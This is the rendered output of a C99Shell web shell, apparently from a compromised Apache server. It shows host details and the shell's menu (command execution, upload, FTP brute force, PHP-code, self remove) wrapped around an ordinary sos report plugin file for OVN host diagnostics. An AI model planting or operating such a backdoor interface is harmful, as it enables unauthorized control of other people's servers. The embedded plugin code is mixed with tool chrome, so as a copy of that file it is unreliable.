!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/lib/python3/dist-packages/sos/report/plugins/   drwxr-xr-x
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ovn_host.py (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Copyright (C) 2018 Mark Michelson <mmichels@redhat.com>

# This file is part of the sos project: https://github.com/sosreport/sos
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# version 2 of the GNU General Public License.
#
# See the LICENSE file in the source distribution for further information.

import os
from sos.report.plugins import Plugin, RedHatPlugin, DebianPlugin, UbuntuPlugin


class OVNHost(Plugin):

    short_desc = 'OVN Controller'
    plugin_name = "ovn_host"
    profiles = ('network', 'virt', 'openstack_edpm')
    pidfile = 'ovn-controller.pid'
    pid_paths = [
        '/var/lib/openvswitch/ovn',
        '/usr/local/var/run/openvswitch',
        '/run/openvswitch',
    ]
    ovs_cmd_pre = ""

    def setup(self):
        if os.environ.get('OVS_RUNDIR'):
            self.pid_paths.append(os.environ.get('OVS_RUNDIR'))

        if self.get_option("all_logs"):
            self.add_copy_spec("/var/log/ovn/")
        else:
            self.add_copy_spec("/var/log/ovn/*.log")

        self.add_copy_spec([self.path_join(pp, self.pidfile)
                           for pp in self.pid_paths])

        self.add_copy_spec('/etc/sysconfig/ovn-controller')

        self.add_cmd_output([
            f'{self.ovs_cmd_pre}ovs-ofctl -O OpenFlow13 dump-flows br-int',
            f'{self.ovs_cmd_pre}ovs-vsctl list-br',
            f'{self.ovs_cmd_pre}ovs-vsctl list Open_vSwitch',
        ])

        self.add_journal(units="ovn-controller")

    def check_enabled(self):
        return (any(self.path_isfile(self.path_join(pid_path, self.pidfile))
                for pid_path in self.pid_paths) or super().check_enabled())


class RedHatOVNHost(OVNHost, RedHatPlugin):

    packages = ('openvswitch-ovn-host', 'ovn.*-host', )
    var_ansible_gen = "/var/lib/config-data/ansible-generated/ovn-bgp-agent"

    def setup(self):
        super().setup()
        self.add_copy_spec([
            self.var_ansible_gen,
        ])

        if self.get_option("all_logs"):
            self.add_copy_spec([
                "/var/log/containers/ovn-bgp-agent/",
            ])
        else:
            self.add_copy_spec([
                "/var/log/containers/ovn-bgp-agent/*.log",
            ])


class DebianOVNHost(OVNHost, DebianPlugin, UbuntuPlugin):

    packages = ('ovn-host', )

    sunbeam_common_dir = '/var/snap/openstack-hypervisor/common'

    pid_paths = [
        f'{sunbeam_common_dir}/run/ovn',
    ]

    def setup(self):

        if self.is_installed('openstack-hypervisor'):
            self.ovs_cmd_pre = "openstack-hypervisor."

            self.add_copy_spec([
                f'{self.sunbeam_common_dir}/lib/ovn-metadata-proxy/*.conf',
            ])

            if self.get_option("all_logs"):
                self.add_copy_spec([
                    f"{self.sunbeam_common_dir}/var/log/ovn/",
                ])
            else:
                self.add_copy_spec([
                    f"{self.sunbeam_common_dir}/var/log/ovn/*.log",
                ])

        super().setup()

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0343 ]--